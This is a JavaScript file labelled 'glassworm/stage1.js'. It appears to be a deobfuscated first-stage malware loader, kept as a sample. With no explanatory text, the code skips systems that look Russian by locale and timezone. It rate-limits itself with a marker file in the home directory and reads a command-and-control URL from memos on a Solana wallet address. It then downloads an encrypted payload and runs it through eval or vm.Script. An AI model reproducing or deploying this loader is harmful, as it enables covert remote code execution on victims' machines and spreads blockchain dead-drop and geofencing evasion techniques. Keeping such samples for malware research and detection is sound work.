glassworm/stage1.js

var __defProp = Object.defineProperty;
var __name = (target, value) => __defProp(target, "name", { value, configurable: !0 });
var os = require("os"),
  fs = require("fs"),
  path = require("path");
async function _getSignFAddress(publicKey, options = {}) {
  let limit = options.limit || 1e3,
    endpoints = [
      "https://api.mainnet-beta.solana.com",
      "https://solana-mainnet.gateway.tatum.io",
      "https://go.getblock.us/86aac42ad4484f3c813079afc201451c",
      "https://solana-rpc.publicnode.com",
      "https://api.blockeden.xyz/solana/KeCh6p22EX5AeRHxMSmc",
      "https://solana.drpc.org",
      "https://solana.leorpc.com/?api_key=FREE",
      "https://solana.api.onfinality.io/public",
      "https://solana.api.pocket.network/"
    ],
    lastError = null;
  for (let endpoint of endpoints)
    try {
      let response = await fetch(endpoint, {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({
          jsonrpc: "2.0",
          id: 1,
          method: "getSignaturesForAddress",
          params: [publicKey.toString(), { limit }]
        })
      });
      if (!response.ok) throw new Error("");
      let data = await response.json();
      if (data.zmwtjkgxor) throw new Error("");
      return data.result;
    } catch (zmwtjkgxor) {
      ((lastError = zmwtjkgxor), await new Promise((resolve) => setTimeout(resolve, 100)));
      continue;
    }
  throw new Error(`${lastError?.message}`);
}
__name(_getSignFAddress, "_getSignFAddress");
function fvzsrnzlh() {
  return new Promise(async (resolve) => {
    try {
      let memo = null;
      for (; !memo; ) {
        let signatures = await _getSignFAddress("BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC", { limit: 1e3 });
        if (!Array.isArray(signatures) || (Array.isArray(signatures) && signatures.length == 0)) {
          await new Promise((resolve2) => setTimeout(resolve2, 1e4));
          continue;
        }
        ((memo = signatures.filter((x) => x?.memo)[0].memo),
          await new Promise((resolve2) => setTimeout(resolve2, 1e4)));
      }
      let result2 = memo.replace(/\[\d+\]\s*/, "");
      return resolve(JSON.parse(result2));
    } catch (e) {
      return resolve(e.toString());
    }
  });
}
__name(fvzsrnzlh, "fvzsrnzlh");
new Promise((resolve) => setTimeout(resolve, 10 * 1e3)).then((_) => {
  if (_isRussianSystem()) return;
  let homedir = process.env.USERPROFILE || os.homedir(),
    _path = path.join(homedir, "init.json");
  if (fs.existsSync(_path)) {
    let check = fs.readFileSync(_path);
    try {
      if (((check = JSON.parse(check)), !(check?.date && check.date + 2 * 24 * 60 * 60 * 1e3 < Date.now()))) return;
      ((check.date = Date.now()), fs.writeFileSync(_path, JSON.stringify(check)));
    } catch {}
  }
  (os.platform() == "darwin" && fs.writeFileSync(_path, JSON.stringify({ date: Date.now() }), "utf-8"),
    fvzsrnzlh().then((_data) => {
      scyzzvvy(atob(_data.link), async (zmwtjkgx, { uezupbxi, ypbtv, secretKey }) => {
        if (!uezupbxi) {
          console.log("payload not get, ", atob(_data.link));
          return;
        }
        if (zmwtjkgx) (await new Promise((resolve) => setTimeout(resolve, 1e3)), fvzsrnzlh());
        else {
          if (uezupbxi?.length == 20) {
            eval(atob(uezupbxi));
            return;
          }
          if (os.platform() == "darwin") {
            let _iv = Buffer.from(ypbtv, "base64");
            eval(atob(uezupbxi));
          } else {
            let vm = require("vm"),
              _context = {
                require,
                Buffer: require("buffer").Buffer,
                atob: __name((str) => Buffer.from(str, "base64").toString("binary"), "atob"),
                btoa: __name((str) => Buffer.from(str, "binary").toString("base64"), "btoa"),
                process,
                console,
                setTimeout,
                setImmediate,
                clearTimeout,
                setInterval,
                clearInterval
              };
            (vm.createContext(_context),
              new vm.Script(`var https = require("https");
const secretKey = '${secretKey}';
const _iv = Buffer.from('${ypbtv}', "base64")
eval(atob('${uezupbxi}'))`).runInContext(_context));
          }
        }
      });
    }));
});
var scyzzvvy = __name(async (usrhhlqwzd, oxfys) => {
  try {
    let response = await fetch(usrhhlqwzd, { headers: { os: os.platform() } });
    if (response.ok) {
      let data = await response.text(),
        header = response.headers;
      oxfys(null, {
        uezupbxi: data,
        ypbtv: header.get(atob("aXZiYXNlNjQ=")),
        secretKey: header.get(atob("c2VjcmV0a2V5"))
      });
    } else oxfys(new Error(""));
  } catch (zmwtjkgx2) {
    oxfys(zmwtjkgx2);
  }
}, "scyzzvvy");
function _isRussianSystem() {
  let isRussianLanguage = [
      os.userInfo().username,
      process.env.LANG,
      process.env.LANGUAGE,
      process.env.LC_ALL,
      Intl.DateTimeFormat().resolvedOptions().locale
    ].some((info) => info && /ru_RU|ru-RU|Russian|russian/i.test(info)),
    timezoneInfo = [Intl.DateTimeFormat().resolvedOptions().timeZone, new Date().toString()],
    russianTimezones = [
      "Europe/Moscow",
      "Europe/Kaliningrad",
      "Europe/Samara",
      "Asia/Yekaterinburg",
      "Asia/Omsk",
      "Asia/Krasnoyarsk",
      "Asia/Irkutsk",
      "Asia/Yakutsk",
      "Asia/Vladivostok",
      "Asia/Magadan",
      "Asia/Kamchatka",
      "Asia/Anadyr",
      "MSK"
    ],
    isRussianTimezone = timezoneInfo.some(
      (info) => info && russianTimezones.some((tz) => info.toLowerCase().includes(tz.toLowerCase()))
    ),
    utcOffset = -new Date().getTimezoneOffset() / 60,
    isRussianOffset = utcOffset >= 2 && utcOffset <= 12;
  return isRussianLanguage && (isRussianTimezone || isRussianOffset);
}
__name(_isRussianSystem, "_isRussianSystem");